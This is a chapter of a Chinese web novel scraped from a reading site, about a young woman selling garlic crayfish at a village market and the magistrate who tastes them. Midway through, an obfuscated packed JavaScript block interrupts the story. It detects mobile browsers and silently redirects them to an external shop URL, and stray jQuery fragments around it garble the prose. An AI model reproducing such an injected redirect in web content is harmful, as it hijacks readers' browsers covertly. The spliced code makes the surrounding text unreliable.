默认冷灰
24号文字
方正启体

3. 蒜蓉小龙虾

作者:见栩本书字数:K更新时间:
    接下来的三日,乔穗的小龙虾成为了最受村民们欢迎的吃食,村民们的热情和支持让她每天起早贪黑的忙活。


    当众验虾算是彻底打消了村民们的顾虑。


    沈大人亲口夸赞,陈医官当众验毒,这两样加起来,比她站在那说一百句都管用。


    天刚蒙蒙亮,村里的鸡叫声就开始此起彼伏地响起来。


    乔穗利落的穿好衣服,摸黑起了床。


    起来的第一件事就是先去灶房里生火,再把昨晚处理好的小龙虾过了遍清水,然后分批次下锅焖煮入味。


    两刻钟后,她将煮好的小龙虾一只一只的捞出来,三五只的放一起用油纸裹住,放进竹篮里。


    收拾好后,她将竹篮背在身后,脚步轻快地往村口大柳树下赶。


    清晨的风带着一丝凉气,吹散了乔穗残余的困倦。


    赶到大柳树下的时候,树下已经站了好几个人,都是昨天没买着,今天特意起早蹲的。


    见乔穗来,几人立马围了上来,七嘴八舌地和她打招呼。


    “穗丫头,可算把你等来了!这几天俺去闺女家了,愣是没尝着鲜,今个可得给俺留两只!”说话的是村东头的李大爷,笑呵呵的。


    “我也要我也要!”旁边一个半大孩子蹦蹦跳跳地喊着,被他娘伸手拍了一下后脑勺:“馋猫!穗姐姐还没支好摊子呢,急什么!”


    乔穗笑出了声,连忙应道:“都有都有,今天备得多,保证大家都能买着!”


    她手脚麻利地把竹篮摆好,掀开盖子,一股香味瞬间涌了出来。


    李大爷率先递过铜板,乔穗给他装了五只,他接过去剥了一只塞进嘴里,吧唧吧唧嘴,“味儿不错,就是少了点热乎劲,吃着不过瘾。”


    旁边的王婶也跟着点头:“可不是嘛!这几天买的都比不上当场做的那天好吃。”


    其他村民也纷纷附和,都说凉了影响口感。


    乔穗把大家的话记在心里,笑着应道:“乡亲们说得是,是我考虑不周,我这小龙虾是在家煮好的,走了一路就凉了,明天我就在这支个灶,凉了就给大伙儿热一热,保证吃到嘴里都是热乎的!”


    村民们听了她的话,都点头称赞,夸她机灵。


    乔穗一边收钱,一边和大伙儿搭话,不一会儿,小龙虾就见了底。


    收摊的时候,她心里还琢磨着,明天除了带铁锅,还得再备点干柴,省得现找耽误功夫。


    回到家,乔穗刚放下东西,就瞥见灶房角落里放着半篮子大蒜,正纳闷这蒜是哪来的,门外就传来了王婶爽朗的声音,“穗丫头啊,你瞧见我给你放的蒜头没有啊,你不在家我就给你放灶房了。”


    乔穗迎了出去,笑着说:“看到啦王婶,我正纳闷是哪来的呢,您就来了。”


    “老吃你做的小龙虾,虽说花了钱,但还是想着给你送点什么,这不,新挖的蒜头,我瞧着不错就给你送来了!”


    “真是太谢谢您了王婶!”


    “成!我灶上还生着火呢,你忙着穗丫头,我就先走了。”


    送走了王婶,乔穗看着半篮子大蒜心里一动,前几天是材料有限只能做辣的,但村子里还有老人和孩子,未必都能吃辣,要是做个蒜蓉的,不辣还香,肯定也能受欢迎。


    乔穗当即就拿了几头大蒜捣成蒜泥,又挑了几只小龙虾下锅焖煮,煮熟一尝,确实不错。


    她满意地点点头,决定明天把这些大蒜带上,趁着带铁锅的机会,推出新口味的小龙虾。


    第二天,乔穗比往日起的更早。


    她把小龙虾在家煮好装进竹篮,又把铁锅和一捆干柴绑在扁担上,再把半篮子大蒜小心地搁在旁边,挑着担子往村口赶。


    大柳树下早就聚了不少人。


    见乔穗真把铁锅带来了,都笑着起哄:“穗丫头果然说话算话!这下能吃着热乎的小龙虾了!”


    乔穗笑应着,手脚麻利地架上铁锅,又在下面添了干柴生火。


    等火烧起来,才把篮子里的小龙虾倒进锅里,浓郁的香辣味顺着风飘得老远,让路过的村民都忍不住停下脚步过来围观。


    没一会工夫,锅前就围了不少人。


    李大爷挤到最前头,递过铜板:“穗丫头,给俺装五只!今个能吃着热乎的了!”


    李大爷接过装好的虾迫不及待的尝了一只,“这热乎的就是不一样!太香了!”


    大家吃的津津有味的时候,村西的张奶奶问了一句:“穗丫头,你这小龙虾,就没个不辣的?俺家那老头子牙口不好,吃不了辣的,想吃点清淡的。”


    “是啊是啊!”人群里立马有人附和,“要是有不辣的就好了,老人也能吃。”


    乔穗心里一喜,正愁着怎么开口推新,没想到倒是有人先提了出来。


    她扬声说道:“大伙儿别急!我今天不光带了铁锅,还备了大蒜,琢磨了个蒜蓉口味的,不仅不辣,还香的很!保准,老少皆宜!”


    此话一出,人群里响起一阵叫好声,都催着乔穗赶紧煮来尝尝。


    这时,人群后头忽然安静下来,吵闹的声音渐渐低了下去,不少人还下意识地往后退退,脸上露出恭敬的神色。


    顺着众人的目光望去,只见沈宴之穿着一身素色的常服,腰间系着一块玉佩,缓步走了过来。


    他没带随从,就一个人,不穿官服多了几分随和。


    “见过沈大人!”众人纷纷躬身行礼。


    沈宴之摆摆手,声音温和:“诸位不必多礼,本官只是路过,来尝尝乔姑娘的小龙虾。”


    说着,便把目光落在乔穗身上,嘴角噙着一抹温和的笑意,“听说你会带锅来热虾,倒是有心了。不知今日可有什么新花样?”


    真是想什么来什么。


    沈宴之可是现成的“活招牌”,只要他说蒜蓉味的好吃,那村民们肯定都抢着买。


    她擦了擦手上的水渍,笑着回:“回大人,民女正打算做蒜蓉味的,不辣。您要是不嫌弃,可以稍等片刻,民女煮好给您尝尝。”


    “好。”沈宴之应声,径直走到旁边的石头上坐了下来,饶有兴致地看着她忙活。


    村民们见县令大人都在等着尝新,也不催着买香辣的了,都想看看这蒜蓉味的小龙虾到底是个什么做法。


    乔穗先舀出锅里热好的香辣小龙虾,分给已经等了许久的几个村民,然后往锅里添了新水,又放了姜片去腥。


    等水再次烧开,她把干净的小龙虾倒进去煮着。


    接着,她把带来的大蒜捣成蒜泥,又加了少许盐和香油,调成蒜蓉酱。


    这时候,锅里的小龙虾已经煮得泛红,乔穗把蒜蓉酱浇下去,用勺子搅了搅,让每只虾都充分裹上酱料,然后盖上锅盖,焖了半刻钟。


    估摸着时间差不多了,她掀开锅盖,香味裹挟着水蒸气扑面而来。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103139|195764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>红彤彤的小龙虾裹着金黄的蒜蓉,看着就让人食欲大动。


    她挑了一只个最大最红的小龙虾,剥好后递到沈宴之面前:“大人,您尝尝。”


    沈宴之接过来,放进嘴里慢慢咀嚼起来。


    蒜蓉的鲜香和虾肉的清甜完美地融合在一起,没有了辣椒的霸道,反而更能凸显出小龙虾的鲜美。


    他微微颔首,眼中多了一丝赞许,对众人说道:“味道确实不错,比香辣味的多了几分清爽。”


    闻言,人群里立刻炸开了锅。


    “沈大人都夸好,那肯定错不了!”


    “穗丫头,给俺来六只蒜蓉的!带回家给俺家老婆子尝尝!”


    “俺也要蒜蓉的!给俺家小孙子留着!”


    “俺两样都要!香辣的俺吃,蒜蓉的给俺爹娘!”


    乔穗被围在中间,笑得合不拢嘴,还不忘应着:“别急别急,大伙都有!”


    这一步算是走对了。


    她心里盘算着,既然蒜蓉口味的大受欢迎,接下来还可以试试清蒸的,清蒸的做法简单,肯定也能讨老人孩子的喜欢。


    沈宴之坐在石头上,看着她忙得团团转的样子,嘴角的笑意更深了。


    他看着村民们你争我抢的热闹景象,又看了看乔穗那张被汗水浸湿却依旧带着笑意的脸,心里生出一种莫名的感觉。


    这个姑娘,虽然出身乡野,身上却带着一股子不服输的聪明劲儿,就像这小龙虾,看着不起眼,却能凭独特的滋味,抓住所有人的胃。


    他又坐了一会儿,便悄悄离开了。


    临走前,他特意在石头上放了几文钱,不多不少,正好够买两只蒜蓉小龙虾。


    乔穗忙得脚不沾地,直到竹篮里的小龙虾见了底,才歇了下来。


    抬起头发现沈宴之已经走了,只剩下石头上的几文钱。


    她走过去拿起石头上的钱,微不可察的点头,这沈宴之,真是个体恤民情的好官。


    收拾好摊位,乔穗把铁锅和竹篮用扁挑起来,慢慢往家走。


    路上,不少村民看见她和她打招呼,问她明天不会再做蒜蓉的,还有人问什么时候再研究其他的口味。


    乔穗笑着应下,心里却开始盘算起来。


    看来明天要多做些蒜蓉的,等大家吃腻了,再推出清蒸的。


    不过问题也来了,溪里的小龙虾虽然多,但是架不住她天天这么捞,再加上她的生意越来越好,用不了多久,货肯定跟不上。


    眼下她倒是没那么多心思想货源的事,当务之急是把蒜蓉小龙虾做的更出彩一些。


    和二十一世纪不一样,这里没有那么多调料,她暂时只能用有限的调料做出不同口味的小龙虾,等生意稳定了,再增加一些其他口味。


    另外,她还打算做一些试吃装,用荷叶包着,让路过的人都能尝一口,这样可以吸引更多的顾客。


    走到家门口,乔穗放下东西,简单吃了晚饭,就把家里剩下的几只小龙虾拿了出来,又捣了满满一碗蒜泥,取出其中一半下锅油炸。


    炸好之后,把两种蒜泥分别拌进煮好的小龙虾里,尝了尝,炸过的蒜泥带着一股焦香味,浇在小龙虾上果然更香,比白天做的还要好吃。


    而且还可以给这版小龙虾起一个响亮的名字——黄金小龙虾。


    她拍了拍手,满意的笑了笑。


    明天,黄金小龙虾正式推出!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)